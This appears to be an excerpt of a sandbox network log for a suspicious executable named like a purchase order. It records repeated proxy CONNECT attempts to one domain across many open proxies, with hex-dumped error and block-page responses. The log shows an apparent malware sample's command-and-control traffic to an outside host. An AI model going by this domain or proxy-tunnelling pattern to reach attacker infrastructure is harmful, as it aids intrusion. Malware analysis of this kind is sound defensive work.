22 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 75 74 66 2d 38 22 3e 0a 3c 74 69 74 6c 65 3e 45 52 52 4f 52 3a 20 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 63 6f 75 6c 64 20 6e 6f 74 20 62 65 20 72 65 74 72 69 65 76 65 64 3c 2f 74 69 74 6c 65 3e 0a 3c 73 74 79 6c 65 20 74 79 70 65 3d 22 74 65 78 74 2f 63 73 73 22 3e 3c 21 2d 2d 20 0a 20 2f 2a 0a 20 2a 20 43 6f 70 79 72 69 67 68 74 20 28 43 29 20 31 39 39 36 2d 32 30 31 37 20 54 68 65 20 53 71 75 69 64 20 53 6f 66 74 77 61 72 65 20 46 6f 75 6e 64 61 74 69 6f 6e 20 61 6e 64 20 63 6f 6e 74 72 69 62 75 74 6f 72 73 0a 20 2a 0a 20 2a 20 53 71 75 69 64 20 73 6f 66 74 77 61 72 65 20 69 73 20 64 69 73 74 72 69 62 75 74 65 64 20 75 6e 64 65 72 20 47 50 4c 76 32 2b 20 6c 69 63 65 6e 73 65 20 61 6e 64 20 69 6e 63 6c 75 64 65 73 0a 20 2a 20 63 6f 6e 74 72 69 62 75 74 69 6f 6e 73 20 66 72 6f 6d 20 6e 75 6d 65 72 6f 75 73 20 69 6e 64 69 76 69 64 75 61 6c 73 20 61 6e 64 20 6f 72 67 61 6e 69 7a 61 74 69 6f 6e 73 2e 0a 20 2a 20 50 6c 65 61 73 65 20 73 65 65 20 74 68 65 20 43 4f 50 59 49 4e 47 20 61 6e 64 20 43 4f 4e 54 52 49 42 55 54 4f 52 53 20 66 69 6c 65 73 20 66 6f 72 20 64 65 74 61 69 6c 73 2e 0a 20 2a 2f 0a 0a 2f 2a 0a 20 53 74 79 6c 65 73 68 65 65 74 20 66 6f 72 20 53 71 75 69 64 20 45 72 72 6f 72 20 70 61 67 65 73 0a 20 41 64 61 70 74 65 64 20 66 72 6f 6d 20 64 65 73 69 67 6e 20 62 79 20 46 72 65 65 20 43 53 53 20 54 65 6d 70 6c 61 74 65 73 0a 20 68 74 74 70 3a 2f 2f 77 77 77 2e 66 72 65 65 63 73 73 74 65 6d 70 6c 61 74 65 73 2e 6f 72 67 0a 20 52 65 6c 65 61 73 65 64 20 66 6f 72 20 66 72 65 65 20 75 6e 64 65 72 20 61 20 43 72 65 61 74 69 76 65 20 43 6f 6d 6d 6f 6e 73 20 41 74 74 72 69 62 75 74 69 6f 6e 20 32 2e 35 20 4c 69 63 65 6e 73 65 0a 2a 2f 0a 0a 2f 2a 20 50 61 67 65 20 62 61 73 69 63 73 20 2a 2f 0a 2a 20 7b 0a 09 66 6f 6e 74 2d 66 61 6d 69 6c 79 3a 20 76 65 72 64 61 6e 61 2c 20 73 61 6e 73 2d 73 65 72 69 66 3b 0a 7d 0a 0a 68 74 6d 6c 20 62 6f 64 79 20 7b 0a 09 6d 61 72 67 69 6e 3a 20 30 3b 0a 09 70 61 64 64 69 6e 67 3a 20 30 3b 0a 09 62 61 63 6b 67 72 6f 75 6e 64 3a 20 23 65 66 65 66 65 66 3b 0a 09 66 6f 6e 74 2d 73 69 7a 65 3a 20 31 32 70 78 3b 0a 09 63 6f 6c 6f 72 3a 20 23 31 65 31 65 31 65 3b 0a 7d 0a 0a 2f 2a 20 50 61 67 65 20 64 69 73 70 6c 61 79 65 64 20 74 69 74 6c 65 20 61 72 65 61 20 2a 2f 0a 23 74 69 74 6c 65 73 20 7b 0a 09 6d 61 72 67 69 6e 2d 6c 65 66 74 3a 20 31 35 Data Ascii: <!DOCTYPE html PUBLIC "-//W3C//DTD HTML 4.01//EN" "http://www.w3.org/TR/html4/strict.dtd"><html><head><meta type="copyright" content="Copyright (C) 1996-2017 The Squid Software Foundation and contributors"><meta http-equiv="Content-Type" CONTENT="text/html; charset=utf-8"><title>ERROR: The requested URL could not be retrieved</title><style type="text/css">... /* * Copyright (C) 1996-2017 The Squid Software Foundation and contributors * * Squid software is distributed under GPLv2+ license and includes * contributions from numerous individuals and organizations. * Please see the COPYING and CONTRIBUTORS files for details. // Stylesheet for Squid Error pages Adapted from design by Free CSS Templates http://www.freecsstemplates.org Released for free under a Creative Commons Attribution 2.5 License// Page basics / {font-family: verdana, sans-serif;}html body {margin: 0;padding: 0;background: #efefef;font-size: 12px;color: #1e1e1e;}/* Page displayed title area */#titles {margin-left: 15

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
917	192.168.2.10	52755	218.91.158.230	7302	7816	C:\Users\user\Desktop\PO-065-01-2024E-2.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:39:48.009249926 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
918	192.168.2.10	52947	104.20.205.191	80	7816	C:\Users\user\Desktop\PO-065-01-2024E-2.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:39:48.016134977 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:39:48.170471907 CET	316	IN	HTTP/1.1 400 Bad Request Server: cloudflare Date: Mon, 11 Mar 2024 15:39:48 GMT Content-Type: text/html Content-Length: 155 Connection: close CF-RAY: - Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 63 6c 6f 75 64 66 6c 61 72 65 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>400 Bad Request</title></head><body><center><h1>400 Bad Request</h1></center><hr><center>cloudflare</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
919	192.168.2.10	52951	104.18.254.76	80	7816	C:\Users\user\Desktop\PO-065-01-2024E-2.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:39:48.020504951 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:39:48.174958944 CET	316	IN	HTTP/1.1 400 Bad Request Server: cloudflare Date: Mon, 11 Mar 2024 15:39:48 GMT Content-Type: text/html Content-Length: 155 Connection: close CF-RAY: - Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 63 6c 6f 75 64 66 6c 61 72 65 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>400 Bad Request</title></head><body><center><h1>400 Bad Request</h1></center><hr><center>cloudflare</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
920	192.168.2.10	52794	31.134.151.40	80	7816	C:\Users\user\Desktop\PO-065-01-2024E-2.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:39:48.022624016 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
921	192.168.2.10	52848	14.103.26.53	8000	7816	C:\Users\user\Desktop\PO-065-01-2024E-2.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:39:48.035579920 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:39:48.785837889 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
922	192.168.2.10	52790	147.12.46.62	3128	7816	C:\Users\user\Desktop\PO-065-01-2024E-2.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:39:48.035902023 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:39:48.383891106 CET	1286	IN	HTTP/1.1 403 Forbidden Server: squid/3.5.28 Mime-Version: 1.0 Date: Mon, 11 Mar 2024 15:39:48 GMT Content-Type: text/html;charset=utf-8 Content-Length: 1002 X-Squid-Error: ERR_ACCESS_DENIED 0 Content-Language: en X-Cache: MISS from ah_test Via: 1.1 ah_test (squid/3.5.28) Connection: close Data Raw: 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0a 3c 6d 65 74 61 20 74 79 70 65 3d 22 63 6f 70 79 72 69 67 68 74 22 20 63 6f 6e 74 65 6e 74 3d 22 43 6f 70 79 72 69 67 68 74 20 28 43 29 20 31 39 39 36 2d 32 30 31 38 20 54 68 65 20 41 65 72 6f 68 69 76 65 22 3e 0a 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 43 6f 6e 74 65 6e 74 2d 54 79 70 65 22 20 63 6f 6e 74 65 6e 74 3d 22 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 75 74 66 2d 38 22 3e 0a 3c 74 69 74 6c 65 3e 45 52 52 4f 52 3a 20 57 65 62 20 50 61 67 65 20 42 6c 6f 63 6b 65 64 3c 2f 74 69 74 6c 65 3e 0a 3c 73 74 79 6c 65 20 74 79 70 65 3d 22 74 65 78 74 2f 63 73 73 22 3e 3c 21 2d 2d 0a 20 0a 0a 62 6f 64 79 0a 3a 6c 61 6e 67 28 66 61 29 20 7b 20 64 69 72 65 63 74 69 6f 6e 3a 20 72 74 6c 3b 20 66 6f 6e 74 2d 73 69 7a 65 3a 20 31 30 30 25 3b 20 66 6f 6e 74 2d 66 61 6d 69 6c 79 3a 20 54 61 68 6f 6d 61 2c 20 52 6f 79 61 2c 20 73 61 6e 73 2d 73 65 72 69 66 3b 20 66 6c 6f 61 74 3a 20 72 69 67 68 74 3b 20 7d 0a 3a 6c 61 6e 67 28 68 65 29 20 7b 20 64 69 72 65 63 74 69 6f 6e 3a 20 72 74 6c 3b 20 7d 0a 20 2d 2d 3e 3c 2f 73 74 79 6c 65 3e 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 20 69 64 3d 22 45 52 52 5f 41 43 43 45 53 53 5f 44 45 4e 49 45 44 22 3e 0a 3c 64 69 76 20 69 64 3d 22 74 69 74 6c 65 73 22 3e 0a 3c 68 31 20 73 74 79 6c 65 3d 22 63 6f 6c 6f 72 3a 20 23 35 62 38 63 62 64 3b 22 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 63 61 6e 6e 6f 74 20 62 65 20 72 65 74 72 69 65 76 65 64 3c 2f 68 31 3e 0a 3c 2f 64 69 76 3e 0a 0a 3c 64 69 76 20 69 64 3d 22 63 6f 6e 74 65 6e 74 22 3e 0a 3c 70 3e 41 63 63 65 73 73 20 74 6f 20 74 68 65 20 77 65 62 20 70 61 67 65 20 68 61 73 20 62 65 65 6e 20 62 6c 6f 63 6b 65 64 20 69 6e 20 61 63 63 6f 72 64 61 6e 63 65 20 77 69 74 68 20 74 68 65 20 6e 65 74 77 6f 72 6b 20 70 6f 6c 69 63 79 2e 20 49 66 20 79 6f 75 20 62 65 6c 69 65 76 65 20 74 68 69 73 20 69 73 20 61 6e 20 65 72 72 6f 72 2c 20 70 6c 65 61 73 65 20 63 6f 6e 74 61 63 74 20 79 6f 75 20 73 79 73 74 65 6d 20 61 64 6d 69 6e 69 73 74 72 61 74 6f 72 2e 3c 2f 70 3e 0a 3c 70 20 73 74 79 6c 65 3d 22 63 6f 6c 6f 72 3a 20 23 37 31 39 32 62 34 3b 22 3e 55 52 4c 3a 20 3c 61 20 68 72 65 66 3d 22 68 74 74 70 73 3a 2f 2f 68 65 79 67 69 72 6c 69 73 68 65 65 76 65 72 79 74 68 69 6e 67 79 6f 75 77 61 6e 74 65 64 69 6e 61 6d 61 6e 2e 63 6f 6d 2f 2a 22 3e 68 74 74 70 73 3a 2f 2f 68 65 79 67 69 72 6c 69 73 68 65 65 76 65 72 79 74 68 69 6e 67 79 6f 75 77 61 6e 74 65 64 69 6e 61 6d 61 6e 2e 63 6f 6d 2f 2a 3c 2f 61 3e 3c 2f 70 3e 0a 3c 70 20 73 74 79 6c 65 3d 22 63 6f 6c 6f 72 3a 20 23 37 31 39 32 62 34 3b 22 3e 43 61 74 65 67 6f 72 79 3a 20 3c 2f 70 3e 0a 3c 62 72 3e 0a 3c 2f 64 69 76 3e 0a 0a 3c 64 69 76 20 69 64 3d 22 66 6f 6f 74 65 72 22 3e 0a 3c 70 20 73 74 79 6c 65 3d 22 66 6f 6e 74 2d 73 69 7a 65 3a 20 31 32 70 78 3b 22 3e 47 65 6e 65 72 61 74 65 64 20 4d 6f 6e 2c 20 31 31 20 4d 61 72 20 32 30 32 34 20 31 35 3a 33 39 3a 34 38 20 47 4d 54 3c 2f 70 3e 0a 3c 2f 64 Data Ascii: <html><head><meta type="copyright" content="Copyright (C) 1996-2018 The Aerohive"><meta http-equiv="Content-Type" content="text/html; charset=utf-8"><title>ERROR: Web Page Blocked</title><style type="text/css">... body:lang(fa) { direction: rtl; font-size: 100%; font-family: Tahoma, Roya, sans-serif; float: right; }:lang(he) { direction: rtl; } --></style></head><body id="ERR_ACCESS_DENIED"><div id="titles"><h1 style="color: #5b8cbd;">The requested URL cannot be retrieved</h1></div><div id="content"><p>Access to the web page has been blocked in accordance with the network policy. If you believe this is an error, please contact you system administrator.</p><p style="color: #7192b4;">URL: <a href="https://heygirlisheeverythingyouwantedinaman.com/">https://heygirlisheeverythingyouwantedinaman.com/</a></p><p style="color: #7192b4;">Category: </p><br></div><div id="footer"><p style="font-size: 12px;">Generated Mon, 11 Mar 2024 15:39:48 GMT</p></d

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
923	192.168.2.10	52971	172.67.182.153	80	7816	C:\Users\user\Desktop\PO-065-01-2024E-2.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:39:48.038178921 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:39:48.192976952 CET	316	IN	HTTP/1.1 400 Bad Request Server: cloudflare Date: Mon, 11 Mar 2024 15:39:48 GMT Content-Type: text/html Content-Length: 155 Connection: close CF-RAY: - Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 63 6c 6f 75 64 66 6c 61 72 65 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>400 Bad Request</title></head><body><center><h1>400 Bad Request</h1></center><hr><center>cloudflare</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
924	192.168.2.10	52840	213.16.81.147	5678	7816	C:\Users\user\Desktop\PO-065-01-2024E-2.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:39:48.039105892 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
925	192.168.2.10	52977	104.20.225.218	80	7816	C:\Users\user\Desktop\PO-065-01-2024E-2.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:39:48.041110992 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:39:48.195429087 CET	316	IN	HTTP/1.1 400 Bad Request Server: cloudflare Date: Mon, 11 Mar 2024 15:39:48 GMT Content-Type: text/html Content-Length: 155 Connection: close CF-RAY: - Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 63 6c 6f 75 64 66 6c 61 72 65 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>400 Bad Request</title></head><body><center><h1>400 Bad Request</h1></center><hr><center>cloudflare</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
926	192.168.2.10	52776	182.61.38.114	82	7816	C:\Users\user\Desktop\PO-065-01-2024E-2.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:39:48.041977882 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:39:48.396558046 CET	295	IN	HTTP/1.1 400 Bad Request Server: nginx Date: Mon, 11 Mar 2024 15:39:48 GMT Content-Type: text/html Content-Length: 150 Connection: close Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>400 Bad Request</title></head><body><center><h1>400 Bad Request</h1></center><hr><center>nginx</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
927	192.168.2.10	50955	185.18.198.163	58714	7816	C:\Users\user\Desktop\PO-065-01-2024E-2.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:39:48.058223963 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:39:51.157623053 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:39:54.208029985 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
928	192.168.2.10	52926	52.151.210.204	9002	7816	C:\Users\user\Desktop\PO-065-01-2024E-2.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:39:48.058408022 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
929	192.168.2.10	50962	161.97.173.78	49145	7816	C:\Users\user\Desktop\PO-065-01-2024E-2.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:39:48.058492899 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:39:51.157633066 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:39:54.208034992 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:40:00.382272005 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
930	192.168.2.10	52988	162.159.242.62	80	7816	C:\Users\user\Desktop\PO-065-01-2024E-2.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:39:48.063355923 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:39:48.224415064 CET	316	IN	HTTP/1.1 400 Bad Request Server: cloudflare Date: Mon, 11 Mar 2024 15:39:48 GMT Content-Type: text/html Content-Length: 155 Connection: close CF-RAY: - Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 63 6c 6f 75 64 66 6c 61 72 65 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>400 Bad Request</title></head><body><center><h1>400 Bad Request</h1></center><hr><center>cloudflare</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
931	192.168.2.10	52872	147.75.92.244	9401	7816	C:\Users\user\Desktop\PO-065-01-2024E-2.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:39:48.066570044 CET	243	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com
Mar 11, 2024 16:39:48.348453999 CET	65	IN	HTTP/1.1 200 Connection Established Proxy-Agent: Zscaler/6.3

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
932	192.168.2.10	51660	8.210.8.157	19001	7816	C:\Users\user\Desktop\PO-065-01-2024E-2.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:39:48.066840887 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
933	192.168.2.10	52943	162.223.94.164	80	7816	C:\Users\user\Desktop\PO-065-01-2024E-2.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:39:48.070688009 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
